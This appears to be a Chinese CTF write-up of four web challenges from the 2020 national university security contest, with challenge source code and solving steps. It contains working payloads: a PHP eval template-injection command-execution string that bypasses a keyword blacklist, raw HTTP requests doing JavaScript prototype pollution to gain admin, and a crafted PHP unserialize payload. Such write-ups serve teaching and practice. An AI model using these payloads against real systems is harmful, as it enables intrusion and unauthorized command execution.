[2020全国大学生信息安全竞赛]easyphp

时间:2020年8月20日13:56:29

来源:2020国赛

解题过程:进去页面直接源码

 <?php
     //题目环境:php:7.4.8-apache
     $pid = pcntl_fork();
     if ($pid == -1) {
         die('could not fork');
     }else if ($pid){
         $r=pcntl_wait($status);
         if(!pcntl_wifexited($status)){
             phpinfo();
         }
     }else{
         highlight_file(__FILE__);
         if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
             call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
         }
         posix_kill(posix_getpid(), SIGUSR1);
     }

可以到利用的点应该是在phpinfo那里和call_user_func_array那里,看来只能找到有3个参数的函数了,最后两个还得是bool。大海捞针

看来只有把所有函数拿来爆破了:

 $func = get_defined_functions();
 print_r( $func['internal']);

先本地跑代码打印出所有内置函数,得到函数数组,在vscode里面用正则表达式替换一下符号和数字,得到txt字典

burpsuite打开后直接进入intuder里面爆破,可以看到

FUZZ

这几个函数直接爆出了phpinfo页面,说明触发了pcntl_wifexited($status)条件,虽然不知道这个status变量怎么得到的,但是还是在phpinfo页面直接得到了flag!

[2020全国大学生信息安全竞赛]rceme

时间:2020年8月20日17:05:22

来源:2020国赛

解题过程:进去页面直接源码

 <?php
 error_reporting(0);
 highlight_file(__FILE__);
 parserIfLabel($_GET['a']);
 function danger_key($s) {
     $s=htmlspecialchars($s);
     $key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
     $s = str_ireplace($key,"*",$s);
     $danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
     foreach ($danger as $val){
         if(strpos($s,$val) !==false){
             die('很抱歉,执行出错,发现危险字符【'.$val.'】');
         }
     }
     if(preg_match("/^[a-z]$/i")){
         die('很抱歉,执行出错,发现危险字符');
     }
     return $s;
 }
 function parserIfLabel( $content ) {
     $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
     if ( preg_match_all( $pattern, $content, $matches ) ) {
         $count = count( $matches[ 0 ] );
         for ( $i = 0; $i < $count; $i++ ) {
             $flag = '';
             $out_html = '';
             $ifstr = $matches[ 1 ][ $i ];
             $ifstr=danger_key($ifstr,1);
             if(strpos($ifstr,'=') !== false){
                 $arr= splits($ifstr,'=');
                 if($arr[0]=='' || $arr[1]==''){
                     die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
                 }
                 $ifstr = str_replace( '=', '==', $ifstr );
             }
             $ifstr = str_replace( '<>', '!=', $ifstr );
             $ifstr = str_replace( 'or', '||', $ifstr );
             $ifstr = str_replace( 'and', '&&', $ifstr );
             $ifstr = str_replace( 'mod', '%', $ifstr );
             $ifstr = str_replace( 'not', '!', $ifstr );
             if ( preg_match( '/\{|}/', $ifstr)) {
                 die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
             }else{
                 @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
             }
 ​
             if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
                 switch ( $flag ) {
                     case 'if':
                         if ( isset( $matches2[ 1 ] ) ) {
                             $out_html .= $matches2[ 1 ];
                         }
                         break;
                     case 'else':
                         if ( isset( $matches2[ 2 ] ) ) {
                             $out_html .= $matches2[ 2 ];
                         }
                         break;
                 }
             } elseif ( $flag == 'if' ) {
                 $out_html .= $matches[ 2 ][ $i ];
             }
             $pattern2 = '/\{if([0-9]):/';
             if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
                 $out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
                 $out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
                 $out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
                 $out_html = $this->parserIfLabel( $out_html );
             }
             $content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
         }
     }
     return $content;
 }
 function splits( $s, $str=',' ) {
     if ( empty( $s ) ) return array( '' );
     if ( strpos( $s, $str ) !== false ) {
         return explode( $str, $s );
     } else {
         return array( $s );
     }
 }

82行代码,只有中间有个eval危险函数,并且里面装了变量。

首先parserIfLabel函数传入GET[a]变量,进入函数可以发现第一个正则表达式:

 $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';

Google搜了一下这个正则,发现有CVE:zzzphp V1.6.0,这里的CVE跟这道题的有些代码是相似的,其中这个很重要的正则表达式就是一样的。

这篇文章发现了payload可以匹配到这个正则:{if:1){}phpinfo();//};{end if}

然后本地搭建环境试一下这个payload,可以过一直过,直到

 if ( preg_match( '/\{|}/', $ifstr))

这里,这里会匹配到{},所以过不了,在这句代码上echo一下$ifstr可以看到返回:1){

所以只需要去掉{

就可以绕过这个正则,然后1)这个位置就变成了了我们想构造的ifstr变量,我们看执行命令的语句:

 if( $ifstr ){$flag="if";}else{$flag="else";}

如果我们把

 $ifstr = 1) echo `cmd`;if(1

执行命令的语句就会变成:

 if(1) echo `cmd`;if(1){$flag="if";}else{$flag="else";}

从而达到执行命令的目的,而这时候传入的参数就变成了了:

 a = {if:   1) echo `cmd`;if(1  {}phpinfo();//};{end if}

最后payload:

 ?a={if:1) echo `cat /flag`;if(1};{end if}

其中空格会被url编码成%20

从而得到flag!

[2020全国大学生信息安全竞赛]littlegame

时间:2020年8月20日22:37:45

来源:2020国赛

解题过程:本题下载源码,看了看源码,/routes/index.js里面貌似有很多POST提交页面,注意到有个/DeveloperControlPanel里面可以得到flag,但要使用admin[]数组里面正确的键值对才能登录成功,而在/Privilege里面可以发现修改值,可以想到js代码的原型链污染,目标是覆盖proto的某一个属性,类似于key=proto.xxx&value=xxx,set-value会解析proto.xxx 为target.proto.xxx=xxx,因为类的继承关系,之后每个变量都会有xxx属性了,所有引用类型(函数,数组,对象)都拥有__proto__属性,之后Admin数组也就能够拥有这个属性,就可以构造一个账号登录进pannel了。

题目提示说是打恶龙,就先GET /SpawnPoint开始挑战。

 GET /SpawnPoint HTTP/1.1
 Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
 Upgrade-Insecure-Requests: 1
 If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
 Cache-Control: max-age=0

后直接POST

 POST /Privilege HTTP/1.1
 Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: keep-alive
 Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
 Upgrade-Insecure-Requests: 1
 If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
 Cache-Control: max-age=0
 Content-Type: application/json
 Content-Length: 66
 ​
 {"NewAttributeKey":"__proto__.admin","NewAttributeValue":"admin1"}

修改父类属性,然后污染其余子类proto属性,接下来就是登录了:

 POST /DeveloperControlPanel HTTP/1.1
 Host: eci-2zeahv20ya7wykdnpxe3.cloudeci1.ichunqiu.com:8888
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: keep-alive
 Cookie: __jsluid_h=85f555b4a57439b637779078dc7b8027; session=s%3AHs8D7aAOAmN4B3gJ3hmPRTdhAkyFUCbe.EYLm3ew9mdZh4WA65yYyBRV0PDCToghuxmYc1kJhFBI
 Upgrade-Insecure-Requests: 1
 If-None-Match: W/"c-2OSwC4I6WVrN+q2Z0GStbqZd0io"
 Cache-Control: max-age=0
 Content-Type: application/json
 Content-Length: 35
 ​
 {"key":"admin","password":"admin1"}

拿到flag{04439205-a592-4299-9b84-37eac3493c39}

[2020全国大学生信息安全竞赛]easytrick

时间:2020年8月24日11:29:36

来源:2020国赛

解题过程:这题是比赛完以后师傅们提示的trick,比赛的时候是晚上接近12点才看的这题,头已经很昏了,没思考清楚

进去看到源码:

 <?php 
 class trick{ 
     public $trick1; 
     public $trick2; 
     public function __destruct(){ 
         $this->trick1 = (string)$this->trick1; 
         if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
             die("你太长了"); 
         } 
         if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
             echo file_get_contents("/flag"); 
         } 
     } 
 } 
 highlight_file(__FILE__); 
 unserialize($_GET['trick']); 

大概传入2个trick1,trick2是绕过2个限制得到flag

第一个是2个长度都必须<5

第二个就是2个md5比较

其实就很简单,trick1 = INF trick2 = 9e999就行了,弱类型比较,日常脑瘫了。

payload:O:5:"trick":2:{s:6:"trick1";d:INF;s:6:"trick2";d:9e999;}

这比赛,真就人均ak web,web手刚成长起来做出来的题没有成就感。。


我啥也不会!